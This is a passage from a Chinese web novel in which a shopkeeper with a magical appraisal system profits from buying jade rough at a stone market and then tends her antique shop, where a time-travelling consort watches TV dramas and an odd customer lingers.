老板对此不以为意，眼睛始终没有离开手机，不咸不淡地招呼了几句。 萧妧妧稍作等待，小摊上的十三块石头便以图片形式，清晰地呈现在眼前。 她看了看系统的估价，又对比摊子上的标价牌，默默放下手电，步伐轻快地离去。 系统果然很靠谱，确实能估出毛料价值，这比什么扫描仪可靠多了。 至少萧妧妧就没听过有什么机器能分辨出玉石品质，顺带给参考价格的。 萧妧妧暗自窃喜，估价功能绝对是交易系统最实用、最不可小觑的功能。 确认估价功能对玉石毛料同样起作用，萧妧妧踏实了，步伐更加坚定，背脊挺直。 标价3000，估价500，亏了亏了，略过。 标价80000，估价90000，赚太少，不值当，略过。 标价40000，估价92000……萧妧妧瞥到最后一张图片，眼睛一亮。 她后退几步，稳稳的在小摊前站定，捧起其中一块石头感受一下。 毛料约有成年人脑袋那么大，份量不轻，坠得手腕疼。 老板见她年轻，喝一口茶，懒洋洋地说：“四万一个不讲价，老矿场来的好料子，免费解石。” 萧妧妧愣了愣，这才想起自己忽略了什么，毛料成为玉石前还有一道工序，解石。 解的好，价格翻倍，解的不好，血本无归。 萧妧妧雀跃不已的心脏回归原位，她纠结片刻，放下手中毛料。 她暂时没弄清楚系统给出估价的凭据，毕竟解出原石不算结束，后续的步骤都会对成品的价格造成影响。 这点利润，说不定等她折腾出成品，毛料的本钱都赚不回来。 萧妧妧嫌它利润低，风险大，摇摇头打算离开。 刚迈出去两步，萧妧妧又迟疑了。 四万块，反正没有特别贵，不如解一个试试？ 一点学费不交是不可能的，总要投点本钱深入学习……萧妧妧很快说服自己，抱起石头准备付钱。 老板惊诧一瞬，赶紧起身，“这是不退换的，你不再看看？” 不少小年轻被电视剧小说影响，怀揣着捡漏的梦想，毫不犹豫地掷金于此，一旦解石结果不尽如人意，便怒气冲冲地回来要求退货。 老板不耐烦卷入纠纷，因此丑话说在前面，以免萧妧妧日后找他理论。 萧妧妧依旧保持着微笑，坚定点头：“我明白，不会退的。请问解石的地方在哪里？” 老板一听，往棚子西南角的一间商铺指了指。 “拿着条子去，让师傅给你开料。” 萧妧妧确定位置，抱起石头离开。 老板摇摇头，乐呵呵坐回去玩手机。 萧妧妧绕过挨挨挤挤的人群，很快在解石区里找到一个休息中的师傅。 表达来意，师傅要求看一眼老板开的条子，确认无误，抱起石头走到机器旁。 “丫头你想怎么开？” 萧妧妧这会有点虚，她听不懂师傅说的行话，含糊道：“您经验丰富，您看着划。” 师傅也不惊讶，闻言拿起手电筒仔仔细细在毛料上照。 萧妧妧等啊等，三分钟五分钟或者更久，师傅划出三条线，问萧妧妧意见。 “这是1号线，线外面有裂纹，质地不好，颜色看不出来，所以我设计从这里取胚，咱们避开它。 2号线在反面，你看它的纹理，按我的经验来说，这个位置取不出东西。 3号线位置比较好，灯光下看，绿得很明显，而且没什么裂纹，您给个决定？” 师傅很老道，看出萧妧妧是个外行，把自己规划的切割方案罗列清楚，交由萧妧妧决定。 想到自己目的是为做试验，萧妧妧把目光从3号线挪开，先从1号线开始切割。 师傅多看萧妧妧一眼，有心想劝，但只是唉了一声便没说下去，转身将毛料放进机器里固定好，启动切割。 机器启动的瞬间，周围立刻围了人过来，大家伸着脑袋等结果，比萧妧妧还要激动。 大约等了三四分钟，嗡嗡震动的机器停了。 一时间，周围连说话声都小了，大家眼巴巴瞅着师傅。 师傅显然是习以为常，推开机器，松开固定器具，捧着开窗的一面递过来。 萧妧妧几乎是立刻看到了朦胧的绿，大约碗口那么大。 “绿了绿了，瞧着是糯种。” “可惜不够大，就应该切3号才对，这啥也看不出来。” “至少要再切一次。” 萧妧妧听身后你一言我一语，分辨不出好坏，索性搬出系统。 操控面板很快弹出切割过的毛料照片，价格那一栏却出乎意料，给的是一个浮动区间，5~8万。 这是切垮了？ “师傅，按照2号线切吧。” 萧妧妧早有心理准备，估价莫名蒸发一万多块，只心痛一会很快冷静下来。 师傅赞叹她好胆魄，又把毛料塞回去继续切割。 第二次扫描，价格意外的涨了，说涨也不完全对，价格区间从5~8万变成7~9万，最高价仍旧不超过初始的估价，只下限提高了两万。 萧妧妧心里安定了一些，交出毛料，切割第三次。 “还切呢？不错了，丫头，回头真垮了有得你哭。” “是啊是啊，这料子不算特别差，6、7万没问题，回本了赶紧收手吧。” 萧妧妧无暇理会身后的劝告，眼睛一眨不眨地紧盯毛料。 赌石的刺激感她是一点也没体会到，提前拿到答案的萧妧妧只想弄清楚其中关窍，而一旁围观的人相较而言更上头。 嗡嗡震了两分钟，毛料切割完毕，不等师傅取出，她立刻开启扫描。 毛料捧到眼前，周围接连响起赞叹声，萧妧妧也在这时看到了新的估价——八万。 “不错了，你是今天第一个切涨的，要不要给你再修修，把旁边杂质清理一下？” 萧妧妧神情淡淡，道一声谢，拜托解石师傅调整一下。 “小丫头不赖啊，这心性适合赌石。” 师傅笑呵呵夸了一句，抱起毛料去另一个工作间，换其他工具打磨冲刷。 “喏，现原形了，糯种飘花接近糯冰，按照它的飘花分布，切三片不是问题，很容易出成品的。” 完整玉石展现在眼前，比起脑袋大的毛料，面前的翡翠原石瘦了一大圈，缩小了约三分之二的体积。 “糯种飘花，可以了，没亏本。” “小几万能卖出去，别说没亏本，小赚没问题。” 听到大家的议论，萧妧妧更加小心地捧住它，左右欣赏片刻后忍不住惊叹，想起来扫描估价已经是十几秒后的事。 她一边拿着手电筒照，一边等待估价。 确实如师傅所说，是轻微透明的飘花糯种，很常见的翡翠类型。 没有杂质影响，灯光下结构清晰分明，整体颜色偏雾蒙蒙的绿，在糯种翡翠中属于中等透明度。 好在是绿色飘花，比蓝色飘花要值钱一些，且飘花呈丝带状，分布均匀，增添了一抹灵动感，设计足够巧妙的话，翡翠成品会更加惊艳。 或许是她解的第一块毛料，萧妧妧怎么看怎么满意。 她满怀期待的去看估价，看清上面的数字，眼底闪过一抹失望。 八开头的五位数，差一点到九万，距离最开始的九万二差了三四千。 萧妧妧神情太过淡定，围观的买手和解石师傅当她是不懂行情，纷纷出主意。 “不错不错，细糯种，请个好师傅，三个镯子三个挂牌基本没问题。” “一个镯子算两、三万吧，八万妥妥拿下。挂牌不带绿，按照三五千算，九万差不多，十万也有希望。不亏了，可以啊小丫头。” 萧妧妧的确对如何设计成品不了解，歪头问：“如果雕成摆件呢？” “这形状做镯子好看，做摆件尺寸不够，”回答她的是为她解石的寸头师傅，他说：“你要真想做摆件啊，请大师给你设计设计，成品卖一开小六位不难。” 一开小六位数，萧妧妧听着心口怦怦跳，细思过后发现不值当。 原石值八万，花一到两万甚至更多的工费请大师雕件，有屎上雕花之嫌，不如老老实实做首饰实在。 考虑清楚，萧妧妧找解石师傅借来几张报纸，包起翡翠原石塞进背包，偷摸转移到空间。 这一次的小实验没有赔本，还基本上摸清了其中的门道，萧妧妧很满意。 系统的估价只到原石这一阶段，不出意外，对毛料的初始估价是它在成为成品前最高、最本真的价值。 好在师傅靠谱，所以前后两次估价差值控制在几千块左右，但凡哪一道工序出了差错，就不是几千块的事了。 从毛料到翡翠原石，萧妧妧算是实实在在体验过选料、取料的过程，也终于明白翡翠成品为何价高。 她从一堆石头里选中一块脑袋大的毛料，开出来的原石约有两手抱拳那么点，切成片料后根据纹路飘花加工设计，最多能出三个带绿的小圈口镯子。 所幸飘花漂亮，成品能卖上价格，不带绿的挂牌相对而言没那么值钱，几千上万不等。 如大家所说，确实不亏，还有点小赚。 萧妧妧心里有底了，摩拳擦掌，准备回到市场大干一场。 刚走出解石区大门，旁边商铺爆发的大声量争吵吸引了她。 “又一个闹着退货的，不像话哦，生意还怎么做？” “搁我我也退，你们看看，切一半了，连个绿都没看到。” “垮了垮了，别说二十万，两千都没人要。” “说好的必出绿，你这切开啥也没有，退货，必须退货！” 萧妧妧扭头循声望去，不远处有一间不大不小的店铺，里面摆满了各式各样的架子，架子上面密密麻麻地摆放着大小颜色不一的毛料。 不知道出了什么事，铺子门口围得里三层外三层，一个个叉着腰翘着腿，等着看热闹的神态。 她踮起脚，竖着耳朵听上一会儿，很快猜个八九不离十。 萧妧妧嚯了一声，二十万的毛料竟然切垮了？ 这学费可够贵的。 她钻进人群，想看看二十万的毛料垮成什么样，才挤进去，就看到情绪异常激动的毛料的主人。 他扯着嗓子大声嚷嚷着，指责店主故意坑骗他，怀疑毛料根本不是老矿场出来的，总而言之，坚决要求店主给他退货退款。 店主自然不肯答应，更不能接下这盆脏水，双方你来我往互不相让，吵得有来有回。 萧妧妧挤在围观群众里像个墙头草，听谁的话都觉得有道理，按捺不住内心好奇，她尝试用系统扫描。 “叔，这毛料真花了二十万啊？” 趁着系统运行评估的工夫，萧妧妧和旁边围观了半天的人攀谈。 大叔摇了摇头，一脸肉疼的说：“哪止二十万哟，整整二十三万！唉……现在的年轻人啊，做事太冲动！” 萧妧妧不禁咂舌，满含同情地朝着毛料主人望去……嗯？ 同情的目光尚未送达便硬生生地收住了，因为系统扫描结束并弹出了图片。 萧妧妧瞪大眼睛，仔仔细细地数了两遍后面的零。 的确没有看错，屏幕上明晃晃地标着1800000！ 一百八十万，这不是没垮吗？ 【作者有话说】 感谢读者“隺翯”,灌溉的3瓶营养液：D 76 第76章 ◎捡漏◎ 萧妧妧挠挠头,垂眸思索两秒，决定再看看情况。 她没着急离开，混在一众看热闹的人当中。 吵嚷持续了十来分钟，双方陷入僵持,市场管理员恰好在这时出现。 满脸气愤的年轻人诉说自己的委屈,店铺老板同样气得跺脚,非要掰扯出道理。 萧妧妧望了望日头,快中午了，看热闹的人大多捱不住,估摸着不了了之，便摆摆手跑走。 大约过去十多分钟,看热闹的人又少了一半，这时在管理员的调解下,双方终于达成一致。 店铺老板同意退一半的货款，至于另外一半,年轻人就当是吃亏交学费。 萧妧妧一看到结果,瞬间了然。 年轻人应当不是乱说,老板卖的料子果然有问题,否则一定咬死不同意退款。 毕竟市场有市场的规矩,买定离手概不负责的规矩在毛料交易市场同样盛行，若真是年轻人耍赖，管理员不会放任顾客胡闹。 年轻人虽然吵赢了架，但也亏损了一半钱财,他自认倒霉，骂骂咧咧地离开。 管理员挥手驱散围观群众,等人群散开一些,拉住老板说了什么。 店铺老板好声好气的回应,一副乖巧学生姿态接受教育。 事情到此为止，已经看不到什么热闹，周围瞬间没了人影。 萧妧妧在墙角位置蹲了片刻，直到管理员也离开。 这时，没了外人在，店铺老板耷拉着脸皮，一脸晦气地长叹一口气，嘴里嘀嘀咕咕说着什么。 他捧着切了一半的破石块，想扔又舍不得，放回高价区域显然不会有人买。 迟疑片刻，店铺老板最终将那半块毛料放在了甩卖的货架上，以五千块一个的价格售卖。 萧妧妧左看看右看看，大家各忙各的，并没有人注意到这里。 她唰一下起身，三步并两步冲进店铺。 “哇！好有个性的石头老板我就要它了帮我包起来吧。” 店铺老板才躺回摇椅，屁股没坐热，眼前一花，一个扎着丸子头的女生风风火火地闯了进来。 她指着货架某一处，机关枪一般，气不带喘地吐出一长串话。 店铺老板抱着刚拧开的保温杯愣了愣，眨巴眼睛，有些迷茫地望着萧妧妧。 萧妧妧礼貌地微微一笑，手指戳了戳货架方向，提醒他赶紧办正事。 “哦，你要、你要买啥来着？” 店铺老板迟钝回神，扶着摇椅起身走到货架边上。 萧妧妧有些做贼心虚，不自觉放低嗓门：“那块，切了一半的。” 店铺老板刚抬起的胳膊停在半空，他一脸狐疑地转过头看向萧妧妧，不确定地问：“这块？你确定？” 他将信将疑地弯下腰，抱起已经被别人切开并且明显切垮了的毛料，想不通怎么会有人看上它。 想不通归想不通，对于老板来说，东西能顺利卖出去就行，其他不重要。 “这是新矿场冲下来的料子，还是切了一半的，你真要的话，五千拿走。说好了啊，不管能不能开出来东西，不退不换。”老板加重语气强调。 萧妧妧一听，弯了弯唇角。 两人吵架的时候，对方还信誓旦旦地坚称毛料出自老矿场，这会倒是老实交代了。 新老矿场的料子差距可不小，新矿场出货概率低老矿场三成，这是众所周知的。 正因为如此，新矿场的毛料一直卖不上价，而糟糕的是，老矿场经过长时间的过度开采，已经很难再找到优质的料子。 找不出什么好料，不良商家便动起了歪脑筋，他们会拿新矿场的毛料伪装成老矿场的毛料来出售，以此谋取更高的利润。 没有被发现还好，一旦被抓住现行，只有乖乖认罚的份儿。 萧妧妧：“规矩我懂，拿来吧你。” 飞快完成转账，萧妧妧甚至没耐心等待老板找东西包住它，一个箭步冲上前接住毛料抱进怀里。 店铺老板看她一惊一乍，又心急火燎的样子，摇摇头，嗤笑一声，躺回摇椅。 头也不回地飞奔出店铺，远离老板视线范围，萧妧妧才如释重负地吐一口气。 该怎么形容这种紧张和兴奋交织在一起的感觉呢？ 大概就是，在人头攒动的地方看见地上有一百块，生怕别人先一步捡走或是失主找来，于是一连串假动作掩饰，靠近后啪叽一下踩在脚底，最后假装系鞋带偷摸抽走。 抱着这块毛料的自己，就是那个在众目睽睽之下捡走一百块的幸运儿，既满心欢喜又提心吊胆。 恰好临近中午，解石区的师傅们休息的休息，用餐的用餐，围观看热闹的人三三两两。 萧妧妧见时机难得，飞快拦住刚才为她解石的那位师傅。 “呦，是你啊，怎么又来了？”师傅随口搭话。 萧妧妧不好意思的嘿嘿笑，捧起手中的半块毛料。 “麻烦师傅帮忙解一下。” 师傅面露迟疑，他撸了撸花白的寸头，嘶了一声。 “有点眼熟啊……”他接过毛料翻转过来，眼睛倏然瞪大：“这不是老李解的那块吗？” 萧妧妧没想到师傅竟然能认出毛料，不禁缩了缩脖子。 “真的假的？我刚刚在铺子里见到的，卖得可便宜了，一时冲动。”萧妧妧语气急促地描补两句，赶紧转移话题：“师傅，现在能解吗？” 寸头的师傅看一眼时间，点头答应：“成，不费事。” 划线的工夫，师傅没忍住对萧妧妧嘀嘀咕咕。 “小丫头冲动了，怎么想起来买它。” “早上解石的时候，大家都看着呢，四面窗口，垮得不成样。” “说起来也怪，灯照着的时候，确实有紫光，按理说是能出货的。” “哎呀，几千块不妨事，你前一个料子好好设计设计，这亏空能补上。” “呦，这不是上午解垮的那块吗？”又一个解石师傅端着饭盒路过，看见寸头师傅仍旧忙着，凑上来看了一眼，“这是换人了？” 萧妧妧尴尬地冲着两位师傅笑了笑。 或许是机器旁凑到了三个人，显得有些热闹，不多时，分散在解石区各处的师傅、买手等，不知不觉间聚拢过来。 “这料子怎么切成这样？” “这是早上那个料子吧？” “我想起来了，二十多万的那个，切了七八次好像，差点对半切了，结果什么都没看见。” “嚯，这是不死心继续开？” 显然，大家对这块切垮的毛料印象深刻，匆匆打量两眼便辨认了出来。 有人好奇怎么还要切，耐着性子等师傅划线。 有人笃定不会出什么好货，摇摇头寻了个清净位置吃午饭。 “丫头，你看成不？”师傅划了两道线，请萧妧妧决断。 对手里这块料子，师傅心里没底，确实能看到紫，但也确实不好下手。 早上送来时的样子他还记得，有两个篮球那么大，小伙子费了九牛二虎之力搬进来，这一刀刀划下去，到现在只比排球大一点。 他一边认定料子里不会出货，一边又担心万一有货被他切坏了怎么办。 萧妧妧根本不懂怎么取料，唯一的依仗是系统，自然是依着师傅的经验来。 师傅再三考虑，终于下定决心把毛料放进机器。 “小丫头花多少钱买的？不贵的话，当是买个教训了。” “是啊，现在出点货不容易，开垮了正常。” “何况它早上就垮了一次。” 萧妧妧对大家微微笑，感谢他们的安慰，淡定地等在机器旁边。 寸头师傅一直紧盯机器，看着一块块石片掉下来，心里有种果然垮了的轻松感。 然而这份轻松没能持续两秒，寸头师傅目光一凝。 “紫了！紫了！” 师傅眼疾手快，赶忙按下停止键，迫不及待打开机器捧出石头。 听到惊呼声后，解石区像炸开了锅，所有人的心瞬间提到了嗓子眼儿……除了萧妧妧。 而本就围在旁边的看客更是伸长了脖子踮起脚。 “真的假的？不是垮了吗？” “别挤别挤……水头怎么样？” “这要是真出货了，是捡着大漏了啊。” “可惜了，上午那小伙子再坚持坚持，说不定不会亏太多。” 萧妧妧喜不自禁，扒开人群挤进去。 变成砖头形状的毛料有点惨不忍睹，但翻过面，巴掌大的窗口能看出有水汪汪的紫色。 “不错不错，瞧着是冰种，应该是冰粉紫，适合你们年轻小姑娘。”寸头师傅挺高兴，瘦长干巴的脸上挤出褶皱，“丫头你等等，我再给你擦擦，看得仔细些。” 不等萧妧妧应声，师傅捧着毛料进工作间进行更细致的加工。 “丫头，料子卖不卖？”深色西装男人鬼祟凑过来，话音急切。 “五十万！我们开价五十万！”中年男人一撅屁股，挤开西装男人递来名片。 萧妧妧低头扫一眼，是什么什么珠宝工作室的，她有印象，业内名气不错。 “黑心肝！五十万狗都不答应。八十万，我给八十万。” 络腮胡男人挺身而出，扒拉开围住萧妧妧的两个男人，豪气报价。 三人你瞪我我瞪你，互相攀比起来。 萧妧妧没见过这阵仗，稍稍退了两步，搓着手弱声说：“谢谢，我要自留，不卖。” 不高不低的声音响起，三人无不面露可惜。 “一百万！你考虑考虑吧，冰粉紫说好挺好的，但也没那么好，一百万差不多了。” 这时，留着小胡子的男人站出来，苦口婆心的劝说。 相比起他们此时的热切，萧妧妧更喜欢他们先前一副居高临下，看小孩胡闹的姿态。 她摇摇头，再次拒绝了小胡子男人。 说话的工夫，工作间里，紫翡渐渐露出真容，寸头师傅抱着原石出来时，萧妧妧听到了一片哇声。 “不是冰粉紫，是冰红紫！” 【作者有话说】 [垂耳兔头]感谢读者“藏月水寒”,灌溉营养液+2 77 第77章 ◎五分钟，我要他全部资料◎ 萧妧妧暗道一声这才对,冰粉紫可到不了一百八十万的估价。 紫翡又称紫罗兰翡翠、春色翡翠，因颜色稀有，在翡翠市场上有着较高的收藏价值。 常见的紫翡档次从高到低，可分为帝王紫、红紫、蓝紫、粉紫、淡紫、灰紫。 别看粉紫和红紫只有一字之差,价格可远了去了。 她快步上前接过原石,爱不释手地掂了掂。 什么冰红紫,分明是她的绝绝紫！ “还真是冰红紫,涨了涨了，真涨了！” “小丫头运气真好啊。” “这品相,做出成品两百万打不住。” “幸亏上午那个小伙子不在，不然得气出好歹来。” 萧妧妧顾不上周围的议论,忙不迭拿着手电在原石上一寸一寸的照，顺带启动估价扫描。 谁能想到,那么大一块毛料，切来切去,最后得到的原石也就和成年男性的拳头差不多大。 好在料子质地细腻,看不到裂纹棉絮,颜色分布比较均匀,很漂亮的红紫色,好好打磨一下，不可小觑。 但也不是没有缺点，原石形状有些崎岖，怕是不好做手镯。 “做两个蛋面,这品相，当主石足够了。” 萧妧妧忽然听到这么一句,茅塞顿开,当即掏出手机咨询许年华。 消息发出去,估价扫描完成，萧妧妧没抱希望，谁知这一看，倒是有意外的惊喜。 估价涨了，涨到两百万！ 这是……切掉了不好的地方，所以剩下的料子变值钱了？ 络腮胡男人一看情况有变，马上改口：“一百二十万！小姑娘，我们出一百二十万。” 西装男人不服输，紧随其后报价：“一百五十万，我们云梨工作室有口皆碑，小作坊不可信，我们出一百五十万！” “丫头，两百万，我出两百万，你把料子卖给我怎么样？” 萧妧妧正琢磨估价为什么会上涨，本没打算理会周围声音，任由旁边买手如何出价，咬死不卖，听到熟悉的声音，她没忍住掀眼皮。 “我就说我家的料子不差，那个小伙子非说我坑人要退货，你们看，这不是出货了吗？多好的冰红紫啊，种色皆优，多好啊！” “你们不知道，这半块料子是我五千块卖出去的……哎呀，早知道我自己留着开了！” “丫头，五千块翻到两百万，不少了，你好好考虑考虑。” 萧妧妧恍然，难怪听声音耳熟，原来是卖她毛料的店铺老板。 店铺老板着急忙慌求着萧妧妧卖回去，如何后悔不说，包围过来的吃瓜路人一听是五千块买下的料子，直呼萧妧妧运气逆天。 “五千块，一刀下去变成上百万！嘶……” “老马，真是五千啊？上午不是传二十来万吗？” “嗨，上午那个小年轻闹着退货了。” “啧啧啧，那是够倒霉的。” 大家似乎代入了年轻人的视角，哎呦哎呦几声，瞧着一个比一个心疼钱。 萧妧妧心虚片刻，想到是不退不换的交易，马上理直气壮了，二话不说，刚出炉的紫翡唰一下塞进包里。 这时她才迟钝觉察出，解石区不知道什么时候围了大几十个人，门口不断有人涌进来。 原先缠着她开价买原石的几个买手，更是卯足了劲贴过来。 “终于切涨了，已经半个月没遇到好货了，不容易啊。” “我听说是上午切垮的那个呢，开出冰红紫。” “不止呢，说是新矿场的料子，老板说了，五千块卖出去的。” “嚯！” “嚯！！” “捡漏了！” 惊叹声越来越多，解石区开出好料子的消息不胫而走。 萧妧妧没想到切个毛料能引起这么多人关注，当即慌了，对师傅说声谢，挡着脸钻了出去。 “二百二十万！丫头，不能再加了。” “我出二百三，我们找个地方坐下来聊聊……” 围着她竞价的几位买手忙不迭跟出来，嚷嚷着请她考虑。 萧妧妧两腿倒腾飞快，跑到市场大门口才敢松懈下来。 太可怕了，百来万的紫翡竟然遭到了疯抢。 萧妧妧眼光被喂高了，价值两千万的紫翡都把玩过，百万级别的料子在她眼里不算多稀罕。 不过话又说回来，同样是紫翡，颜色、种水不同，价格差距说是天壤之别不为过。 柳如烟给的紫翡镯子，是名副其实的帝王紫，颜色浓郁艳丽，饱和度高，打造成粗圆条大圈口手镯，不仅高贵典雅，还自带富贵雍容之气，当得起帝王紫的名称。 冰红紫是紫翡中难得一见的好料子，但与帝王紫相较起来，逊色许多。它的色泽较为浅淡，少了几分大气，倒是多了一些小家碧玉的味道。 发呆的工夫，许年华回了消息- 冰红紫？蛋面？- 那可不好说，大尺寸的话，百来万肯定是要的，一百两百差不多，具体要看东西- 你手上有货？ 萧妧妧没回，丢下一句围棋有消息了，请他约时间带张老板上门。 许年华诧异地戴上眼镜，重新读一遍新消息，嘴角咧开笑容。 “这丫头片子，有点本事啊。”许年华给她推了几家珠宝设计工作室，而后拨通电话：“张老板，您托我留意的围棋有消息了……” 萧妧妧是在十分钟后得到许年华的好消息，记下约定时间，总算解决一桩心事。 要不是担心太快回复许年华容易起疑，萧妧妧是没那个耐心等到今天才放出消息。 刚捡漏，眼看着又要有一笔大款项进账，萧妧妧浑身轻松，哼着小调，自如地穿梭在毛料交易市场。 午饭时间，天气又潮热，市场里看不见多少人。 这可方便了萧妧妧，简单对付两口，抓紧时间在摊位间一个一个扫描过去，而后环绕市场，每家店铺进去逛一逛，挑一挑。 或许是那块冰红紫耗光了她的运气，萧妧妧再没遇到心仪的漏。 倒不是说没有好料子，而是能低价买入的好料子几乎没几个。 可见大家心里门清，看料开价，越是品相好的毛料价越高。 一路逛下来，萧妧妧见着不少寄予厚望的高价毛料，动辄大百万，然而系统给出的估价将将七位数，甚至不到六位数的不在少数。 谁买回去开料谁就是大冤种。 当然，也遇见不少开了半扇窗的毛料，看种水都不错，卖方开了天价，全看敢不敢赌。 萧妧妧有过一瞬间的心动，对比完估价和卖价，犹豫片刻选择放弃。 利润不高不低，还那么费事，萧妧妧懒得赚那三瓜两枣。 重新站在市场大门前，萧妧妧不无失望地叹气，随即又想开了。 弄送到南市的交易市场，指不定大家筛了多少回，能有多大的漏可以捡啊。 毕竟南市的毛料交易市场只是一个小型市场，不成规模，不比其他以玉石为支柱产业的城市，连公盘都没有，只有许多高端玉石拍卖*会。 萧妧妧想过去更大的玉石毛料公盘，可一去一回，少说耽误三四天，她放心不下小卖部。 再者，进公盘有门槛，要有人引荐，还需要缴会费，并不容易。 萧妧妧琢磨了一会，发现此路行不通，暂时打消了主意。 史努比晒得滚烫，萧妧妧龇牙咧嘴骑了一路，很快赶到隔壁街区的古玩交易市场。 因着交易市场名声不显，萧妧妧没太放在心上，何况她家住附近，小时候常听大家说这里是骗人的，根本买不到真古董，萧妧妧抱着来都来了的心态，勉为其难进去逛一逛。 这才刚进去，萧妧妧就知道大家说得没错。 一打听价格都挺唬人的，成千上万，便宜的大几百，老板信誓旦旦说出处来历，距今有几百年几千年历史，系统一扫描，多的是七块八块的。 真古董倒也有几个，可惜没那么值钱。 十分钟不到，萧妧妧又龇牙咧嘴地坐上了史努比。 提前做足了心理准备，萧妧妧倒是没多少失望，只是心里越发笃定，找古董还是苏娇娇靠谱。 “叮叮叮” 镭射紫头盔刚卡在脑袋上，手机叮铃铃响。 看到备注，萧妧妧以为店里有急事。 “啊啊啊啊啊啊！这个男人！萧老板，五分钟，我要他全部的资料！” 萧妧妧：……？ 柳如烟说话怎么一股霸总味。 史努比嗖一下蹿出去，一点过半时回到了小卖部。 推开院子大门，柳如烟唰一下贴过来，抱着萧妧妧胳膊，另一手递来平板。 萧妧妧一看，长舒一口气，好歹不是看上了顾客。 “你要他的资料啊，我还真能给你找出来。” 如烟大帝玩起高科技产品不比现代人差，除了听不懂网络词汇，看不懂简体字，不明白飞机高铁汽车，看剧看动画片是一点不耽误，甚至在剧集中品味出两个世界的异同，渐渐露出深思的表情。 这回，柳如烟不知道怎么点进一部古装长剧集，迷上了一个扮相俊美的男演员。 “换个人追，这是人渣，上学的时候脚踏两条船，还带前任去打胎，听说抠门的很，打胎的钱都是女孩子出的，一分不给。” “他也太坏了，简直是禽兽！”柳如烟露出震惊脸，随后质疑道：“既是不光彩的私密事，你又是如何得知？” 萧妧妧：“同班同学，女孩子闹上门了，我们那一届基本都听说过他的八卦。” 柳如烟看上的男演员就属于圈子里有背景的一类，瞧，刚毕业，出演男二的古装剧已经播放到大结局。 “你不练舞了？” 萧妧妧推着史努比进院子，看她一副如遭雷劈的伤心样，顺口问了一句。 接触下来，萧妧妧隐约感觉到柳如烟有点恋爱脑，这两天待在小卖部躺平没去找她的男主角，萧妧妧挺好奇是什么情况。 柳如烟撇撇嘴，神情别别扭扭的，半天没说出话。 萧妧妧一看便明白，她心里多半是原谅了，只缺台阶呢，就看男主什么时候上门哄。 “吃午饭了吗？要不要一起？”萧妧妧转开话题。 柳如烟点点头，又摇摇头，双臂环胸，不满抱怨：“吃过啦，昨儿没回去用膳，宫里竟敢传本宫绝食……气坏本宫了，显得本宫多在意他似的。” “可惜了，炸鸡薯条蛋挞鸡排可乐……只能我自己吃了。”萧妧妧抱着老爷爷牌全家桶，惋惜叹气。 柳如烟嗅了嗅，炸物的香气飘进鼻腔。 “吃是吃了，不妨碍本宫再用点点心。”柳如烟欢快扑来，扒拉包装袋去看里面的东西：“是那个什么疯狂星期四吧？” 萧妧妧更想笑了，果然没有白上的网。 “你不是吃了吗？这些是我的午饭。”萧妧妧故意侧身，躲开她的手。 柳如烟身形娇小，萧妧妧相较偏高挑，有意躲避的情况下，她只能又蹦又跳，张牙舞爪的昭示存在感。 “不行不行！本宫就尝一口。” “萧老板你别跑，本宫命令你站住。” 几声惊叫，188号小院炸开一般，闹腾得不行。 “咚咚咚” “请问，这里是不破斋吗？” 两人一个躲一个追，敲门声打断了她们，立时停下脚步，转头看着门口。 拉着行李箱，提着公文包，个子中等穿着一身西装的地中海中年男人出现在眼前。 他局促地打量小院，又看一眼玩闹的两个年轻女孩，不确定地寻找门牌。 【作者有话说】 [星星眼]感谢读者“怡然自得”,灌溉营养液87瓶，感谢读者“隺翯”,灌溉营养液3瓶。好多啊！ 78 第78章 ◎奇怪的客人◎ 柳如烟缩了缩脖子,抱着平板回到屋檐下。 没等坐稳，她又跑回来，趁萧妧妧不注意，抢走全家桶。 萧妧妧在外面吃过回来的,全家桶本就是路上瞧见,想起柳如烟好奇快餐的味道,顺路买回来给她尝尝鲜。 她没去管柳如烟,快步走到门边待客。 “对，这里是不破斋,您要买古董？” 地中海男人闻言松了一口气，急忙接话：“对,买古董。” 萧妧妧再次打量他，不说是买古董,还以为是来出差的呢。 地中海男人放下行李，抱着公文包跟进古董铺。 监控是全方位的,萧妧妧不担心,让他随意看,转身回到院子去和柳如烟抢鸡腿。 饿不饿不重要,看柳如烟跳脚很有意思。 柳如烟学着萧妧妧的样子,一手鸡腿一手蛋挞，吃得嘴巴油亮亮。 两颊一鼓一鼓咀嚼片刻，柳如烟低声和萧妧妧提醒道：“他看起来鬼鬼祟祟，不像买东西,像偷东西的。” 萧妧妧本没多在意，闻言扭头观察地中海男人。 他抱着公文包不撒手,在店里一圈圈打转,眼里没有一点对古董的热爱,匆匆扫过一眼全是茫然，以及不明白为什么标价会那么高。 不是萧妧妧以貌取人，这位地中海先生社畜味太浓了。 确实如柳如烟所言，不像是来买古董的。 萧妧妧一看时间，下午两点半，地中海男人在铺子里逛了将近一小时。 她擦了擦手，警告柳如烟不许把骨头扔地上，起身进店。 柳如烟刚要随手丢东西，想到这里没宫女伺候，萧老板是真的会逮着她打扫卫生，悻悻地找垃圾桶。 “先生有看上的东西吗？” 地中海男人一激灵，随即面色讪讪的应和：“我再看看，再看看。” 男人态度非常温和，说话笑脸相迎，萧妧妧倒不好意思催促。 “古董不比其他，是该挑和眼缘的。”萧妧妧走进柜台，端出紫砂茶壶，“不知道您喜欢什么类型的，不如看看这套紫砂壶？顾景舟大师的早期作品。” 地中海男人茫然接过茶杯，心不在焉地瞧。 萧妧妧笑着介绍：“这套价值一千万，您别觉得贵，送去拍卖行肯定不止这个价，新店开业期间有九折优惠。” 地中海男人像接了烫手山芋，呆愣几秒，马上变脸，双手捧住茶杯，小心又谨慎地送回柜台上。 他尴尬地挠挠耳朵，左顾右盼片刻，指向首饰区域。 “我、我想给老婆带点礼物，能介绍介绍？” 竟是一点多余的目光都没有分给紫砂壶。 萧妧妧这回可以肯定，地中海男人绝对不是想买古董。 她立刻升起警惕心，藏好紫砂壶，为他介绍发簪耳坠以及手串。 地中海男人略听了一会，懒得费心思挑选，直接选中了一串她还没来得及介绍的碧玺手串。 萧妧妧连证书带盒子一起交给他，地中海男人露出了懊悔神色，拘谨的询问道：“老板，我可以在这里多看看吗？” “当然，您随意。” 萧妧妧愣了愣，想不通他到底要看什么，指甲盖大点的地方，他不知道转了多少圈。 开门做生意没有说赶客的，萧妧妧笑着招呼几句，回到院子里和柳如烟说话，余光一直注意着他。 柳如烟好奇，跟着打量地中海男人，可没看出什么异常，继续快快乐乐追剧。 要怪就怪柳如烟追得短剧实在太气人了，萧妧妧陪着看了十几集差点上头，等她回过神来，猛地扭头看向店铺，里面空无一人。 